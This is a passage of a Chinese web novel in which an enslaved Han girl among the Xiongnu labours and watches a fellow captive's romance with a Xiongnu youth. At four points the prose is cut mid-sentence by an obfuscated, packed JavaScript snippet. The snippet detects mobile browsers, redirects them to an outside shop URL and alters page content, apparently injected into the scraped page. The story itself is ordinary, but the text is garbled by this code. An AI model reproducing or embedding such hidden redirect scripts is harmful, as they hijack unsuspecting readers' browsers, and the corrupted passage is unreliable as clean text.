庄翎与秋两个仍然在后院的空地上整理羊毛,院子里的羊毛前些天已经清理好了,随时就是晾晒和洗毡。秋一边干活一边惦记着伊都说过要帮助自己,暗暗期待他的出现,只是迟迟不见这个人来,不由得总是分神,时常心不在焉。 庄翎见她干活不认真,却总是留意附近活动的匈奴人,尤其是一些陌生匈奴人,觉得怪异,也恐怕时间久了惹来麻烦,便想着要找时间问问秋。 有一次两人往木架子上铺羊毛,预备晚些时候洗毡,最近下过几场雨,洗毡的活就挪到了匈奴人这边的毡帐里,内里绒絮灰尘很多,很呛,也有一样好,不似外面冷,也更清净些。两人在架子一左一右,捧着羊毛往上面铺,正好室内只有她们两个,庄翎问秋:“你最近总盯着匈奴人,是不是有什么事情?” 秋犹豫一下,她本来不想说伊都的事情,一直将这事儿闷在心里,却总也不见伊都来找自己,不免焦灼。很想找个人商量,想找庄翎又不敢,暗自忍了好久,此时听见庄翎问话,再也忍耐不住,到底不敢直说,稍作些隐藏修饰,说道:“我在佩兰家里遇见个匈奴人,看上去和我们差不多大,他……他好像有些喜欢我……” 难道这些日子秋纠结的就是这件事儿吗?庄翎惊讶之余想起了秋不久前几次要送给自己的肉干,便问:“那些肉干也是这个人给的么?” 秋没想到庄翎如此敏锐,老实点了点头,说道:“是他给的。” 庄翎微微皱眉,她从未见过这个匈奴少年,这人最近也没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494279|202393||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有出现过,她没说什么。 秋又道:“他是个很好心的人,知道我在这里洗毡,说会想想办法让我不再做这个。这些日子我一直在等他的回信,却是始终没有见他来,姐姐你说他是不是忘记答应过我的事情了?” 对上秋困惑的双眼,庄翎抿抿唇,她能理解秋想要摆脱这苦役一般的生活,也知道就算是匈奴人,里面一定也有一些好人,即使她们做了匈奴人的奴隶。 但她更担心秋遭受坏人的欺辱。 想了想,问道:“那个匈奴少年有没有靠近过你?” 秋茫然摇了摇头,庄翎仔细看秋的表情,见她这回不是说谎,松了口气。 心里好好思量一会儿,庄翎说道:“我觉得,还是不要太指望匈奴人比较好。” 本以为能得到些更好的建议,却听见这样一句话,秋大失所望,情绪上便恹恹的有些消沉。庄翎觉得不打紧,再过些天,那个匈奴少年若是还不出现,秋大概也就将这桩事放下了。 又过了两天,领队的匈奴人从收拾羊毛的人当中抽了一些人出来,叫他们去拾柴,庄翎和秋也在其中。 两人跟在匈奴人的马车走到野地里的一处疏林,匈奴人持刀在前方砍柴,汉人奴隶们负责将这些柴装上车子。庄翎一边拾柴,一边看天看树观察出此地的方向,暗暗记下一路的地形路径。 林子里树叶落尽了,枝干光秃秃的,铺了一地厚厚的黄叶子。 庄翎抱着一捆捆木柴堆上马车,某次把柴禾堆在马车上,忽然发现秋并没有在自己附近。一直以来,两人同吃同住,出入干活或是左右手互相配合,或是一前一后同时来去。快些慢些也都正常,从没有说连个影子都看不见,她又抱了一捆木柴堆上车去,还是不见秋。 心里不禁担忧,想了想,还是去找找秋的下落才好。 便回忆着最后一次见到秋是在哪个方向哪棵树附近,秋又可能在哪里,她一边想一边找,倒也顺利,没有兜圈子,在林子里直走都没有走太远就看到了秋的身影。 她正和一个匈奴少年一起在一棵大树下面,那匈奴少年站在一旁,秋靠在粗大的树干上,两个人正在闲聊说话。那少年比她高一个头,看起来皮肤微黑,像所有匈奴一样披散着半长发,手里随意拿着一张弓,腰间挂着箭囊。 少男少女,对视之间各自是情意绵绵,说话时你嗔我笑,看上去亲呢热情。 这人就是秋一直等候的那个匈奴少年吧,秋一直等着这个人帮助她。 其实她也希望秋能够摆脱现在的困境,但可以将希望放在这个人身上吗?庄翎不确定。 双脚踩在黄色的落叶中,眼光所及都是掉光叶子的光秃秃树木,坎坎伐木声音从附近传来。庄翎心想,就算这个少年最后不能帮助秋,如果秋喜欢这个人,说两句话又有什么关系? 而她们现在所在的世界,也太过于破败和孤独,青春年华就这样和叶子一样凋零未免可惜。 但是对方是一个匈奴人。 哪怕她心里觉得这不十分合宜,也不适合在此时打搅。 庄翎转过身去,复又踩着厚厚的黄色落叶,朝着坎坎伐木声传来的方向走去。 11. 第 11 章 秋不再和同来林中的汉人奴隶一样全天拾柴,只要那个匈奴少年出现,她就可以放下手中的活过去聊天,没有任何一个匈奴人阻止她。每次伊都出现都让她眉开眼笑,见不到伊都的时候,她心不在焉。因为能时不时的“休息”一下,她看起来更有力气了,捡柴时候“弯腰——直腰”比大家更灵活,走起路来也更快,更有精气神。 因为恋爱吗?因为轻松吗? 秋现在满身活力的样子才符合年轻女孩儿的状态。 庄翎也见过那个叫伊都得匈奴少年来找秋,他每天都会过来,有时候是一次,一次至少会和秋在一起一个时辰,有时候他来找秋两次或是三次,凡是他过来,秋都会和她打过招呼再离开。 有时候伊都会来奴隶营中将秋接出去,带她吃一些东西,或是陪她在匈奴人的部落里走一走,就当做是闲逛。 几天之后,秋比所有人容光焕发。 庄翎还是老样子,白天的时候被人安排去做活,等到回来吃一碗汤羹,然后进去平时住宿的毡帐里面检查一下铺位上的干草还在不在,如果发现少了,她就再添一些来,如果不多不少,她就可以在毡帐外面闲待一会儿。 她不喜欢毡帐里头的空气和声音,从前她和秋一起休息,现在秋一回来就被伊都接走,庄翎就一个人。 奴隶营的空地不多,人们休息的时候要么是和同乡朋友在前面空地说话,要么也只是围着各自所住的毡帐休息,大多数人都席地而坐,讲究一些也就是拿一两根粗一些的木柴或是干草垫在身下坐着。 庄翎在这里没有同乡,她对大多数人都不是很熟悉,也不喜欢闲聊,空闲的时候她习惯在毡帐西侧休息。如果时间还早,可以看到夕阳下落,如果更晚一些,她可以看见远方的荒原和星星。 每当这个时刻,她就会在脑海中会思考或是回忆一些事情:现代、秋、自己流落匈奴,还有连日的劳役。也有时候,她会回想自己曾经学过的知识,假如她的老师知道她到了这个境地也在努力学习,肯定会夸奖她,但这也不是最重要的。 来到匈奴以后,所有的生活都没有意义,她劳作终日,也不过是为别人建造生活,对她自己而言全是对人生的浪费。这种浪费比劳作本身的痛苦更让她焦灼,回忆过去的知识是她唯一能做到的,有一点意义的事情,尽管哪些知识可能以后再也用不到了。 还有些时候,庄翎会回想自己所知道的关于汉武帝时期的历史。也似今日,太阳才落下,光线还没彻底消退,她站在毡帐之西,面朝西面对落日的方向,出神思考着这个朝代的历史和一些有名的历史人物。 穷兵黩武的汉武帝,封狼居胥的霍去病。 元狩四年漠北之战,汉朝和匈奴的交战进入最后时期,汉朝发动漠北之战,卫青霍去病立功,霍去病就是在这一场战争中在狼居胥封土祭天,达成封狼居胥的成就,从此功垂千古,而匈奴人也因此次战败更加向北迁徙远去。 现在是元朔元年,距离元狩四年还有十年。 她自己也不是全无指望,最差一些,元狩四年匈奴战败,定然不会带着大批汉朝奴隶一起迁徙,最迟最迟自己可以在那时获得自由。 当然,也有个前提,自己最好足够幸运,不要在以后的奴隶生活中死去。十年之后,她也才二十三四岁,正好是大学毕业的年纪,还很年轻呢! 正想着这些,一个女人走过来了,她看上去二十多岁,长得比庄翎稍稍高上一点点,也更强壮些。这人走来庄翎身边,瞥了一眼地上,见一旁正好有一块木柴,懒懒坐下。 庄翎也认得这个人,她叫吴完,平时这人就睡在她和秋旁边,那天把她和秋垫身睡觉的干草拿走的人也是这人。最近几天,吴完也和她们一起去拾柴,她也看过秋和伊都在一起说话的场景,每次看见都会扯扯嘴角。 “你妹妹今天又和那个匈奴小子一起吃羊肉去了,她没请你一起么?” 庄翎不想和别人说自己拒绝过秋的邀请,所以什么也没说,只看了看吴完。她还是以前的习惯,和人说话的时候会看着对面人的眼睛。 也许是太无聊,这里的人总会刺探一些消息,有的时候没有目的,有的时候是单纯想要看看笑话。 吴完见庄翎不答,也不在意,她不知怎地却似更愿意和庄翎说话了,上身往庄翎那边探了探,问道:“你不喜欢吃羊肉是不是?” 是无稽之谈,这话更多是想要刺激庄翎。 庄翎对吴完的话不置可否,但看出吴完今天谈兴浓,便将自己适才想到的问题拿来问她,道:“听说从前汉朝会和匈奴和亲,现在匈奴部落有没有汉人公主?” 吴完闻言笑了笑,倒也不吝回答,大方说道:“有啊,这位公主现在就住在大单于的穹庐内。” “刚来到这儿的小姑娘总想找人救命,尤其是这位汉朝来的公主。”她冷冷笑道,“别想了,那是大单于的阏氏,匈奴大单于下过命令,敢靠近公主的汉人要受断足之刑罚。”吴完单手在双脚脚腕比了个切割手势。 庄翎只说:“谢谢你告诉我这些。” 吴完看着没有太大反应的庄翎就知道自己没有改变她的想法,说道:“年轻人总是心比天高,离开是不可能的,你不如想法子少受些苦,比如和你那个妹妹一样,找个匈奴人嫁了,你虽然比你妹妹长得丑,但我看你也不十分讨人厌。” 其实吴完有些喜欢庄翎,这女孩儿虽然总是脸上蒙了一层灰,但有一双一看就让人心里安静的眼睛,举手投足让人看了也舒服。而且,自己抢了她的东西,也不见她愤怒或是辱骂…… 庄翎对吴完说的话都无所谓,她有些担心秋。 不一会儿,管事的匈奴人穿过人群走了过来,抬手指了指庄翎,说道:“你跟我走。” 庄翎脚步微顿,一瞬间心脏漏了半拍,还是迈开步伐跟着这匈奴管事儿往前走,心里根本猜不到这人在傍晚时分要将自己带去哪里,又会是有什么事儿? 对方是否居心不轨?庄翎内心十分不愿意做这种想象,好像只要这个假设一旦做出来,就将自己放在了一个极其弱小低微的地位。可她本来也是任人宰割的奴隶,哪有资格去幻想许许多多的侥幸,保持危机感和警惕心才是对自己最好的保护。不,她根本保护不了什么!在这个地方她只能任人宰割! 庄翎缓缓攥住手指。 比可能发生的灾难更加折磨人的是危机感,在刚才这个人呼唤自己之前,她在匈奴的危机感只来自于劳役、皮鞭,但在这一刻,无形的危机触及到了她衣服之下的肌肤,隐私在这一刻不停被侵袭,让她的精神深受折磨。 而前面领头的管事一直快步往前走,看起来很有几分不耐,他见身后女奴落后几步,回身大声催促:“快走!给我快点! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494280|202393||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”催促间这人下意识摸了摸腰间,但他今天没有带那个骨锤。庄翎却不敢不快,不管心里怎么想,匆匆跟着这人往前走。 两个人出去奴隶营,转道东边,走到了匈奴人的聚居区,这人带着庄翎在不同的毡帐之间走路转弯,庄翎偶尔看见些匈奴的男女老幼,这些人有的在吃饭、有的在烧火、有的在喂马喂羊,还有的在一起闲聊说笑……也许汉朝百姓的生活和这些匈奴人没什么太大的区别。 管事的匈奴人带着庄翎匆匆走过,有的匈奴人注意到他们,只看了一眼,没有过多的好奇,如常地转回头做自己的事。 也许这个匈奴管事带着自己并没有什么过分的坏心?庄翎看一些匈奴人的表情如此猜到。 但是又想,也许他们对这些役使奴隶的管事们的所作所为都习惯了,不管他们做什么事情都不会有人觉得很奇怪。 从匈奴存在开始,他们就不停地向周边部落和国家掠夺人口,将他国土地上的百姓变成他们的奴隶,让这些人为他们劳作,被他们欺辱。 不知不觉,夜色渐渐浓了,天边亮起几点星星,一闪一闪的。 任凭一路上做过多少猜测、有过多少挣扎,庄翎还是随着匈奴管事来到了目的地,他们来到了一座平民毡帐前头,毡帐也只和庄翎平时住在奴隶营里的毡帐一样大,但眼前的毡帐是个完好的半旧毡帐,看起来厚实温暖。 毡帐一侧有个木架子,上面搭着两件匈奴女人的衣衫,旁边有个木制的水缸,里面是个舀水的木勺。像个长期生活的地方,有女主人,附近有点杂乱,但很温馨。 庄翎心里忧虑不安,又有些焦躁紧张,她微微咬住下唇,依旧站在落后匈奴管事三五步远的位置,眼睛盯着前方不远处的毡帐帘门。 那匈奴管事走到毡帐帘门之前,用匈奴话大声说道:“贝坎,快出来!女奴给你带来了!”“人在家里吗?”“快点出来!” 听不出来他在叫什么人,剩下的听得懂,管事说他给里面的人带来了一个女奴,两个人应该是提前约好的,他在催促里面的人出来。 这管事儿连连大声催促好几句,不到片刻,里面的人大声用匈奴话回了一句:“别催了!孩子都被你吵醒了!” 说话的是个匈奴女人。 那管事闻声不再大声叫人,不一会儿,帘门被拉起来,一个匈奴女人抱着个木盆走出来,边走边说那个管事,“我又不会不出门,你也知道我在家里,这么大声做什么?” 管事说道:“我家里还有事儿,下次你要用奴隶早点说话,先走了。” “我还没给你钱。” “明天你拿给我妻子吧。” 两人看起来认识,也很熟悉。 那匈奴女人看见不远处站着个低着头的汉人女奴,她将盆子放在地上,对庄翎说道:“那边有水,你尽快将盆里衣服洗干净,一会儿我会送你回西牢。”话音落下匈奴女人就掀开帘门回去了身后的毡帐里。 庄翎微微抬头,看了眼不远处的木盆,依稀能看见里面装着些孩童和大人的衣服。 也能确定,今天傍晚并没有什么危险的事,匈奴管事叫她出来,是因为刚见过的匈奴女人需要有人帮忙洗衣服。 没有危险不是好事吗?也该松一口气才是。 但也不知怎么回事儿,庄翎并未觉得释怀,反而有另一种复杂情绪袭上心头。 12. 第 12 章 庄翎搬过木盆来到水缸旁边,一瓢一瓢往里面舀水,舀到盆满,在一旁的小木凳上坐下洗衣服。将盆子里的所有衣服洗好搭在木架上已经是一个多时辰之后,她刷好木盆拿到毡帐门口,站在一侧,用汉语对里面的人说:“衣服已经洗好了。” 毡帐里的人没有立刻回应。 庄翎听见匈奴女人正在“哦哦~”哄着哭巴巴的小婴儿,还有一男一女两个小孩儿说笑打闹,一会儿跑到床上一会儿跳下地来,女人无暇管那两个年纪稍大些的孩子。 其实从刚才盆子里的衣服也能推测出来,这家现在有四口人,一个成年人是匈奴女人,还有两个稍微十岁左右的孩子,其中男孩大一些,也许九岁或是十岁。女孩儿大概是七八岁,除此之外,这家现在还有小婴儿,尚在襁褓之中,而且这个匈奴女人还在哺乳期。 她洗的脏衣服里面没有成年男子的衣服,一个多时辰的时间里毡帐内始终没有传来成年男人的声音,也没有成年男人出没,这家的男主人或许最近不在家里。 婴儿的啼哭声渐渐止息,匈奴女人不再“哦哦”哄孩子,她斥责了两句一直在淘气的大孩子,让他们上去床上休息,两个孩子不再打闹,乖乖上了床。 不一会儿,匈奴女人掀开帐帘走出来,从庄翎手里接过刷干净的木盆,小心放好在房间里,然后出门对庄翎说:“走吧,我送你回去。” 这时候没有灯,蜡烛也很贵重稀有,匈奴女人并不使用,两人就借着点点星光行走。她们一前一后,庄翎走在匈奴女人身后,跟着她穿梭在匈奴人毡帐之间的空地上,往奴隶走去。 今天天气有些阴,黑色的云彩在黑色的天空上游移,星星一闪一闪,有时又被飘来的云气遮蔽。地面上是否有什么,两个人都看不清,向下看像是有一团模糊的雾气笼罩,隔绝视野。 庄翎四处望去,也看不清黑夜里有什么,视野中大半是黑雾,她像是走在黑色的瘴气之中。现在已经没有匈奴平民在外活动了,只有巡守的匈奴士兵远远的列队经过,箭簇和长剑的锋芒在夜幕中划出一道道白痕。 她感到危机就潜伏在黑色的夜雾之中,随时都会缠住她的脚腕,将她绊倒,或是将她拽进去。 一直走到奴隶营门口,门关着,匈奴女人敲了敲一旁看守帐前的栅栏,没人应,她又敲了几下。 里面守门的匈奴男子不耐烦地应了一声,手里拿着一根燃烧的木柴走了出来,匈奴女人指着庄翎对守卫说:“这是你们牢中的奴隶,刚才我和管事借来干活,现在把她还回来,你们开门让她回去吧。” 守卫像是认识这个匈奴女人,他皱着眉将燃烧着的火把向庄翎的面目移去,意图查看她的长相,守卫和匈奴女人都看着庄翎。 火把哔哔啵啵地燃烧,火炬移向汉人少女的面庞,庄翎站立不动,黄色的火焰越发靠近她的面容,燃烧的木香和呛人的烟气一起涌入鼻端,女孩儿眼睛一眨不眨地盯着眼前黄色的焰火。 她有一双令人印象深刻的黑色眼睛,颜色幽幽,直直看人的时候似憎恨,似冷漠。 守门人每天看守奴隶,他们看到这双眼睛一下子认出了这个汉人女奴,朝那匈奴女人点点头,说道:“行,是个汉人奴隶,我将她放进来。没什么事儿你早些回去吧。” 那守门人将栅栏门放开,让庄翎进来。庄翎又走入了营门。 匈奴女人对守卫说:“以后每天下午她要来我家干一个时辰的活。” 守卫点点头,说道:“知道了。” 匈奴女人已经过去栅栏门的庄翎说道:“后天午后太阳往西走过一个时辰以后,你来我家干活。” 庄翎不十分听得懂这句匈奴话。 那个匈奴女人说完话就转身离开,庄翎也回去了自己所住的毡帐,里头看不太清,她沿着一侧边缘走去自己睡觉的地方。 秋在那儿躺着,夜里看不清她睡着没有,庄翎蹲下身摸了摸她身边空着的位置,检查了一下干草,也就合衣躺上去,准备休息。 一旁秋忽然侧过身来,她扭动几下,挤到庄翎身旁,紧挨着她,在庄翎耳边用气音兴奋说道:“今天伊都带我去了他朋友家里,他的朋友叫昆桑,和他一样是王庭的守卫,两个人是从小一起长大的朋友。我去的时候这家才杀了羊,正在烹煮,当时我以为来的不是时候,心里好尴尬。昆桑母亲说锅里的羊是伊都昨天带来的,叫他们第二天宰杀,说要请一位姑娘来吃。”说到这里秋格外高兴,连声音都不知不觉大了许多,回过神来见庄翎没发出声音,她碰了一下庄翎,只觉得一旁庄翎的身体今天格外绵软一些,觉得有些奇怪,也还是继续说她刚才想要说的话,道:“我昨天说请你今天和我一起去,你不答应,姐姐你一起要是过去也吃到羊肉了。” 许久没有说话的庄翎,开口道:“我不爱吃。” 这话多少有些扫兴,秋的谈兴却一点也没减少,她接着说道:“我们吃了好些羊肉,伊都又带着我去附近匈奴人开的店铺去,他带我去了一家好大的店,那家的毡帐有我们现在的住的毡帐三个大,里面什么都有,粮食、布料、皮毛、刀剑、女人用的胭脂水粉、还有西域来的香料和美人,伊都说店里的香料是西域诸国最好的香料,就算是长安城里也见不到。”说着说着,秋又开心起来。 庄翎知道,此时匈奴是北方最强大的游牧民族,现在的匈奴国是历史上匈奴最强盛的时期,它是一个庞大的奴隶制帝国。 匈奴有许许多多的臣属国。西域的楼兰、乌孙、呼揭、车师、龟兹、?焉耆?、?于阗等国家,北方的丁零、浑庾、屈射、鬲昆、薪犁、乌桓、鲜卑,河南与河套地区的楼烦、白羊部族,这些国家都是匈奴的臣属国。前些年也驱逐了河西的大月氏,占有了大月氏的土地,大月氏战败后举国迁徙,有一些族人不愿意迁徙,留了下来,这个部落也成了匈奴的臣国,这个部落现在被称为小月氏。 匈奴人向臣属国家设置仆僮校尉,在这些国家驻军,?向这些国家收取赋税、索要贡品,也参与管理这些国家的内政。 和一个帝国比起来,一个十几岁的女孩儿太过渺小,不怪秋会为匈奴国的富庶惊叹。 庄翎想了想,说道:“我还没去过长安,但我知道长安也是个人杰地灵的地方。”毕竟是一国首都。 秋对这句话不在意,她方才暗自欢喜好久,这会儿才说:“伊都在那家店里问我喜欢什么样的布料,说要给我做些漂亮衣服,不过我没要……”她话音一转,又说道:“我才知道,伊都没有父母,没有亲兄弟,只有一个好朋友而已。” 这会儿她的语气喜悦惊奇之中又掺杂了丝丝缕缕的怜悯。 一些说不清道不明的好感,再加上一点点怜悯,有时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17507597|202393||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候就是一段感情的开端。 这个晚上庄翎没有再回答过秋任何一句话,她睁着眼睛——视野一片漆黑,她甚至判断不了自己是睁着眼睛还是闭着眼睛。毡帐内的人此起彼伏地打呼噜、叹气、痛哼、呻吟,比夏天的蝉鸣还要吵。她看着自己视野中的黑幕,怀疑是不是毡帐变矮了,帐子顶遮到了自己身上半尺高的地方,她看了又看。 不知几时,秋睡着了,身边传来她绵长的呼吸声。庄翎眼前一直是一块遮蔽视野的黑色,她有时候睁着眼睛,有时候闭着眼睛,也不知道自己是什么时候睡着的。 从第二天开始,每天下午都有人带庄翎去那个匈奴女人家里干活,都是些杂活,有时候是洗衣服、烧火,也有时候是挑水、劈柴、扫地。 凡是有事情要她做,匈奴女人都从毡帐里出来吩咐庄翎,她没说过庄翎可以进去毡帐,庄翎就从不进去,她只在外面干活,若是有空闲就自己站一站或是坐一坐。 今天匈奴女人不知道从哪里拿了些牛骨,将庄翎帐子外面的一处灶台那里,告诉庄翎说:“你今天只要把这些牛骨煮烂就好,不用做别的。” 匈奴女人走后庄翎奇怪地看了面前的泥土灶台几眼,牛骨、盐巴、香料已经在锅里了,只要倒些水直接烧过就好。 庄翎拎了水倒入锅中,再抱来柴塞到灶眼里,先往灶眼里塞一些粗柴,再往粗柴上面加一些细枝条,空隙里塞一些干草,用火石引火,这火就着起来了。不用多管,一会儿就能烧得很旺,只需要在差不多的时候加一点柴就好。 庄翎的视线还是落在这个泥土垒成的灶台上,这个东西很“汉风”,不像是匈奴人习惯用的,这些日子她在匈奴部落里走来走去,所见匈奴人用锅都是用木架吊起来,在架子下面烧火,十分方便随时拆卸,这才符合游牧民族的习惯。 而这个家里还有一些东西不符合游牧民族的习惯,比如这家门前有一条开垦出来的空地,上面荒疏着一些枯萎的野生韭菜,旁边留着一些稍微粗一些的残根,看得出来这家人春夏的时候在这里种植蔬菜,而他们家的女儿时常要吃一些粟米饭,这匈奴女人和大一些的男孩儿偶尔也吃一些。 这些习惯和爱好都很像汉人。 她正在烧火,毡帐里小婴儿哭得厉害,这家的女儿嫌吵,从毡帐里走出来。女孩儿先走到一旁晾衣服的木架旁边,伸手摸了摸木架子上的衣服,见衣服还有些潮湿,没有收衣服。 这匈奴女孩儿没进去,而是走来了灶台这边,她问庄翎:“我饿了,你能不能让锅里的骨头快点熟?” 庄翎看了这女孩儿一眼,发现这女孩儿皮肤也比大多数匈奴人皮肤白净一些,她这时候也能听懂一些匈奴话了,但这女孩儿提的要求根本无法做到,她也只当听不懂对方的话。 见这汉人女奴看自己一眼就低头继续烧火,匈奴女孩儿以为庄翎是听不懂自己说的话,皱了皱眉头,想了想,用汉语说道:“我饿了,你能快些烧火吗?” 庄翎也用汉语说:“我能快点烧火,但牛骨恐怕也不会很快熟透。” 见这匈奴少女微微皱眉,她就知道这女孩儿听得懂她说的话,庄翎问道:“你是匈奴人,为什么会说汉话?” 那匈奴女孩儿抬了抬下巴,瞟了庄翎一眼,高傲说道:“我父亲就是你们汉朝来的人,不过他可不是你这样的奴隶。” 13. 第 13 章 听见匈奴女孩儿如此说话,庄翎撇开头去,拿了一大把木柴用力塞到灶膛里。那匈奴女孩儿站在一旁,她本心想看看这汉人女奴会不会巴结自己,没想到这女奴什么也不说。而且不知怎地,看她这样冷着一张脸烧火,女孩儿心里有点悻悻,她看看庄翎,又看一眼冒热气的铁锅,也就走出家里去玩耍了。 火一直烧,锅中热汤持续滚开,不停地腾腾冒热气。 中途匈奴女人从毡帐里出来一趟,掀开锅盖,从沸汤中的牛骨上扯下来一块肉,她送嘴巴里嚼了嚼,皱着眉咽下去。 肉还是硬的。 她回屋子里去了。 也不知道是哪里来的牛骨,着实坚硬,又烧了小半个时辰,牛肉还不见柔软,也到离开的时候了,庄翎往灶膛里塞满木柴,在毡帐外面和那匈奴女人说了一声,转身往奴隶营走去。 现在是九月末,天气一天比一天冷,落日昏黄的余晖打在庄翎身上,投下了一道瘦长的影子。算起来她已经来到匈奴一个多月了,生活上的种种变化一言难尽,身体上也有一些变化。 个子长高了一点点,人也变瘦了许多,腰带往里扎了一寸多。因为这惊人的消瘦,血肉蛰伏,骨骼变得格外突出,身上的曲裾外衣大小还能穿得下。只是下摆变得有些短,走路的时候微微露出脚踝,有些冷。 路上遇见匈奴人的卫队,十几人的小队,纵行排列成两排同行,这些人头戴毡帽、身穿皮甲,手里拿着盾剑,在部落里来回巡视。 发现一个落单的汉人女奴,这些人中有人看过她一眼,又漠不关心地移开目光。 除了这些卫队,往来于部落的匈奴男子,或是在各家毡帐附近喂马的人大多也习惯佩戴剑、鞭子、刀,有的拿着弓箭摆弄,也是傍晚能看见的人多一些,才看到这些。 其实匈奴的成年男子全都是士兵,这里没有所谓的兵籍,只要年龄或是身高足够,就会自动成为战士。他们的男人负责作战,女人负责养育孩子和家务,而匈奴的老人并不多,几乎没什么存在感。 至于留在匈奴的汉人,也有许多。史书上记载留在匈奴的汉人,有随和亲公主出嫁来到匈奴的侍从,最出名的是宦官中行说,这个人是和亲公主身边的宦官,因为被迫随公主出嫁,心生恨意,仇视汉朝,成为了匈奴单于的谋士,和匈奴单于一起设计对付汉朝;也有张骞、苏武这样的使者,经过匈奴或是来到匈奴被匈奴人扣留。 那还有没有别的汉人?庄翎心想,也是有的,一些在汉朝犯下罪行的汉人也会逃来匈奴。 暂时还不能确定这家的男主人是什么身份,又是什么人?其实也说不清。那女孩儿说她父亲不是奴隶,但这里的奴隶本身也不是奴隶。 庄翎不十分好奇对方的身份,那看上去是一个普通家庭,没什么出奇的。她只是在想,有没有可能让这个匈奴家庭的汉人男主人帮帮自己,还有秋,帮她们回到汉朝去。 但这暂时也只是一个想法而已。想到秋,庄翎微微抿唇,秋最近几天总是和伊都在一起,而自己又被重新安排了活,现在和秋的干活时间错开了,秋也好,她也好,回到营地的时间都不准确,两个人虽然仍可以天天见面,但说话的机会不多。 最近有好几次,秋看见自己欲言又止,好像有什么话,又好像没有。 回去营地里排队领了汤羹,四处望去,果然不见秋,只吴完在毡帐一旁吃汤羹。 第二天上午,奴隶营中管事的匈奴人指了指庄翎和秋,让她们跟自己去,二人从人群里出来,跟着这匈奴管事往前走。 庄翎和秋被带到了奴隶营后面的院子里,现在这里已经没有羊毛和洗毡的器具了。现在庭中有一个石臼,一旁是两根木头长杆,再旁边是大半袋粮食。一个身材胖大脸色发红的匈奴汉子守在旁边,神情看上去有些焦躁,他望见管事带着两个女孩儿来,立刻迎上去。 走到管事对面,扫了眼庄翎和秋,皱起眉来,说道:“让你给我带两个能干活的,怎么带了两个细草一样的女孩儿?” 管事说:“不就是一点米?她们两个人就足够了。” “人你留下,我还有事儿,先走了。” 那管事扔下庄翎和秋掉头就走,秋看这匈奴人长得高大蛮横,心里有些畏惧,往庄翎身边靠了靠。 匈奴汉子虽然对两个汉人女孩儿不满意,也还是指了指那边的粮食和石臼,比划着那袋米说道:“今天中午之前,你们两个把那这袋米舂好。” 抛下这句话,他也匆匆走了。 舂米可是一等一的苦活,在古代,犯了罪的男人就被罚去修建城墙,女人则是被罚舂米。 秋一见到这些舂米用的器具就皱起眉头来,庄翎拍拍秋的手臂,稍作安抚。自己先来到粮食旁边,只见里面是一些带壳的稻谷,她伸手过去摸了摸,当年的稻谷颗粒饱满,在手心里沉甸甸的,稻壳吸收了一整个夏天的阳光,上面还残留着阳光的温暖。 也不知道这些稻谷是匈奴人自己种植的,还是从汉人手里抢来的。 装稻谷的麻袋上方搭着一条半旧麻袋,应该是一会儿用来装舂好的新米用的,一旁立着个柳条编的簸箕,还有一个用来扫米的小扫帚,看起来也都像是汉人做的东西。 庄翎一一看过这里的东西,弯腰拾起簸箕,从麻袋里铲了些稻谷,倒入石臼当中,捡起旁边一条木杵,一下下舂米。 她想,这个活大概是这么干的。 秋噘着嘴老大不开心,也没处发脾气,她兀自憋了一会儿气,也捡起另一根木杵,和庄翎一起舂米。 只有一个石臼,两个人一起舂米,你一下我一下。舂得差不多了,就需要把舂过的米用筛子筛掉细糠,再用簸箕簸掉浮上的杂质,然后才可以装袋。 两个人轮流舂米、筛米和簸米。 这个活是个纯纯的体力活,一个木杵就有二三十斤重,两个人就要一直抬上抬下,一臼米虽然不多,但要两个人时不时的倒过来淘出去,上下弯腰前后回身,也是够呛。 干活的时候两个女孩儿都不说话,只低头一味地干活,要么就抬起袖子擦擦汗。 两个人一刻不停地忙活,忙了小半天,才弄了二十斤左右的米出来。 时间紧张,活计效率低,稻谷却还有很多。两个人精神紧绷地厉害,汗流浃背,手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17507598|202393||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也有些发抖。 